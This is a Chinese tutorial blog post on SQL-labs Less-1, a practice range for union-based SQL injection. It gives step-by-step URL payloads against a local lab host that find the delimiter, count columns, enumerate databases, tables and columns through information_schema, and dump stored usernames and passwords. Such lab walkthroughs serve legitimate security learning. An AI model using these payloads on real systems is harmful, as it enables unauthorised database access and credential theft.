当前位置: 首页 > news >正文

SQL labs靶场-SQL注入入门

靶场及环境配置参考

一,工具准备。

推荐下载火狐浏览器,并下载harkbar插件(v2)版本。hackbar使用教程在此不做过多描述。

补充:url栏内部信息会进行url编码。

二,SQL注入-less1。

1,判断传参方式。

先输入

http://192.168.61.206:8001/Less-1/?id=1 //查看是否有回显

有回显,说明是get类型的传参。

尝试其他参数,以确认漏洞存在。

http://192.168.61.206:8001/Less-1/?id=2 

2,判断闭合符,闭合所输入的语句,以使得后续的SQL语句溢出,达到运行的目的。

得知,闭合符是单引号。

3,判断有几个字段。

order by:对结果集进行列排序。

在url栏输入:

http://192.168.61.206:8001/Less-1/?id=1'order by 3 --+ 
--+ //注释掉后续的的代码,以让输入的语句的得以执行。

order by 3 不报错。

order by 4 报错,说明此处只有三个字段。

4,查库名。

使用select和 datebase指令,在此处利用union联合查询以获取库名。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,database(),3 --+

union查询可以select多条语句并用(只能select)可以显示没有的东西。

union:两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

展示空间不够前面会覆盖后面内容,所以接下来用-1,让前面命令执行不成功,以显示后续的内容。

database()为查询库名。

得到数据库名。

5,查询数据库内的表名。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

注意:MySQL自带的几个特殊库.

MySQL自带Information_schema库。

Information_schema库里有两个特殊的表。

表tables记录了库名和表名。

表columns:库里面有什么表,表里面有什么字段。

table_schema:记录了所有库的库名。

table_name.记录了表。

column_name:记录了字段。

6,多次重复此操作(需要改LIMIT),以获得所有表名。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 1,1 --+

LIMIT1,表示从第二行开始取,取一行。

7,得到字段名。

http://192.168.61.206:8001/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

8,得到敏感信息。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,2,group_concat(username , password) from users--+

三,总结。

sql注入为入门级的漏洞,现如今已经极为少见,但仍有其典型性。从此开始,便正式进入了黑客的大门。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Linux openEuler_24.03部署MySQL_8.4.0 LTS安装实测验证安装以及测试连接全过程实操手册
  • 向量化操作
  • ELK企业级日志分析
  • Docker安装nacos(详细教程)
  • Linux-查看dd命令进度
  • layui自定义defaultToolbar 新增按钮 隐藏列表操作栏浮动部分
  • 山东航空小程序查询
  • C++ 栈( stack )学习
  • Element UI DatePicker选择日期范围区间默认显示前一个月和本月
  • Java字符串中的第一个唯一字符
  • Python机器学习入门:从理论到实践
  • 信号【Linux】
  • SenseVoice 实测,阿里开源语音大模型,识别效果和效率优于 Whisper,居然还能检测掌声、笑声!5分钟带你部署体验
  • JMeter请求导出Excel
  • 排序二叉树(c++)
  • Angular4 模板式表单用法以及验证
  • Git的一些常用操作
  • HTTP 简介
  • JS变量作用域
  • js算法-归并排序(merge_sort)
  • Ruby 2.x 源代码分析:扩展 概述
  • Spring Cloud Feign的两种使用姿势
  • Theano - 导数
  • TiDB 源码阅读系列文章(十)Chunk 和执行框架简介
  • windows下如何用phpstorm同步测试服务器
  • 创建一个Struts2项目maven 方式
  • 从0到1:PostCSS 插件开发最佳实践
  • 回顾2016
  • 讲清楚之javascript作用域
  • 聊一聊前端的监控
  • 浅谈Golang中select的用法
  • 使用Gradle第一次构建Java程序
  • 系统认识JavaScript正则表达式
  • 移动端唤起键盘时取消position:fixed定位
  • 异常机制详解
  • 【云吞铺子】性能抖动剖析(二)
  • # windows 运行框输入mrt提示错误:Windows 找不到文件‘mrt‘。请确定文件名是否正确后,再试一次
  • # 数仓建模:如何构建主题宽表模型?
  • #include
  • #LLM入门|Prompt#3.3_存储_Memory
  • #window11设置系统变量#
  • #使用清华镜像源 安装/更新 指定版本tensorflow
  • #微信小程序:微信小程序常见的配置传旨
  • (1)svelte 教程:hello world
  • (10)Linux冯诺依曼结构操作系统的再次理解
  • (6) 深入探索Python-Pandas库的核心数据结构:DataFrame全面解析
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (阿里云万网)-域名注册购买实名流程
  • (含react-draggable库以及相关BUG如何解决)固定在左上方某盒子内(如按钮)添加可拖动功能,使用react hook语法实现
  • (论文阅读23/100)Hierarchical Convolutional Features for Visual Tracking
  • (七)Appdesigner-初步入门及常用组件的使用方法说明
  • (原)Matlab的svmtrain和svmclassify
  • (转载)PyTorch代码规范最佳实践和样式指南
  • (自用)仿写程序
  • .jks文件(JAVA KeyStore)